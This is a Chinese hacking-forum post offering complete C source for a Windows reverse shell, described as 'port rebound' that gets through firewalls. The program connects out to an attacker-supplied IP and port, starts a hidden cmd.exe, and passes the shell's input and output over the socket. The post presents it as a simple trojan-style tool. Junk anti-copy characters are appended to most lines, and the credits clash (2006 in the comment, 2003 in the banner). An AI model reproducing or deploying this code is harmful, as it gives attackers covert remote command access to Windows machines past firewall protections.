社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5852阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 iaAj|:  
? +q(,P@*  
/* ============================== Wz%b,!  
Rebound port in Windows NT R. (fo:ve>  
By wind,2006/7 0,z3A>C  
===============================*/ dx&!RK+  
#include LrGLIt`  
#include =sYUzYm  
j+9;Cp]NV  
#pragma comment(lib,"wsock32.lib") `Nnaw+<]  
XB.xIApmy  
void OutputShell(); Nf!g1D"U  
SOCKET sClient; `+\6;nM  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; hn -!W;j  
>]!8f?,  
void main(int argc,char **argv) cUH. ^_a  
{ ,'nd~{pX"(  
WSADATA stWsaData; 3b d(.he2u  
int nRet; q9h 3/uTv  
SOCKADDR_IN stSaiClient,stSaiServer; (qbL=R"  
!<8-juY  
if(argc != 3) T@4R|P&{)  
{ _&wrA3@/L  
printf("Useage:\n\rRebound DestIP DestPort\n"); 2d#3LnO  
return; Q:5^K  
} "K9/^S_  
bih%hqny  
WSAStartup(MAKEWORD(2,2),&stWsaData); +QZ}c@'r  
H:k?#7D(  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); yZ:AJNb  
@CTSvTt$  
stSaiClient.sin_family = AF_INET; cs]h+yE  
stSaiClient.sin_port = htons(0); $1E'0M`  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); u^4$<fd  
(2J\o  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) JqmxS*_P  
{ n6xJ  
printf("Bind Socket Failed!\n"); ]<xzCPB  
return; B@ xjwBUk  
} VRs|";  
x<'<E@jpU;  
stSaiServer.sin_family = AF_INET; ]J(BaX4  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); QhJuH_f 0  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 3!u`PIQv  
wU5.t -|`  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 0Xw$l3@N^  
{ T2ZB(B D  
printf("Connect Error!"); -\9K'8 C  
return; EEn8]qJC  
} @"G+kLv0  
OutputShell(); dHsI<:T#  
} nf0]<x2  
\V_ Tc`  
void OutputShell() hjgB[ &U>  
{  W<@9ndvH  
char szBuff[1024]; ib\_MNIb  
SECURITY_ATTRIBUTES stSecurityAttributes; \:m1{+l  
OSVERSIONINFO stOsversionInfo; KPrH1 [VU  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; _qO'(DKylC  
STARTUPINFO stStartupInfo; Tpd|+60g  
char *szShell; F+SqJSa  
PROCESS_INFORMATION stProcessInformation; 4~K%,K+Du  
unsigned long lBytesRead; j2RdBoCt  
0sA+5*mdM  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); KSAE!+  
;I/ A8<C  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); i,B<k 0W9  
stSecurityAttributes.lpSecurityDescriptor = 0; dJjkH6%}  
stSecurityAttributes.bInheritHandle = TRUE; M-8`zA2  
KjNA PfL  
@Cml^v@`L  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); L"tzUYxg  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); zMXQfR   
|[Rlg`TQ;*  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); (6*  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "U-dw%b}b  
stStartupInfo.wShowWindow = SW_HIDE; }0Ie Kpu5  
stStartupInfo.hStdInput = hReadPipe; B#G:aBCM  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; mt]^d;E  
|[)n.N65 =  
GetVersionEx(&stOsversionInfo); Y:R*AOx  
ni85Ne$  
switch(stOsversionInfo.dwPlatformId) IG Ax+3V  
{ }a%1$>sj  
case 1: GO)5R,  
szShell = "command.com"; _CMNmmp`e  
break; 7Fx0#cS"\  
default: Yi j^hs@eV  
szShell = "cmd.exe"; hXh nJ  
break; Ae[fW97  
} SLW|)Q24  
{2)).g  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); h343$,))u  
2FcNzAaV  
send(sClient,szMsg,77,0); brX[-  
while(1) 5ZX  
{ +BVY9U?\"  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); E/zclD5S  
if(lBytesRead) 6f:uAFwG  
{ );zLgNx,  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); !z1\ #|>  
send(sClient,szBuff,lBytesRead,0); Z(XohWe2  
} 3 "iBcsLn  
else "AP$)xM-:  
{ )Dp0swJ  
lBytesRead=recv(sClient,szBuff,1024,0); B@U'7`v  
if(lBytesRead<=0) break; ^=k=;   
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); RGL2S]UFs  
} fx-8mf3  
} Z2t\4|wr:  
DL<;qhte  
return; oY+p;&H  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五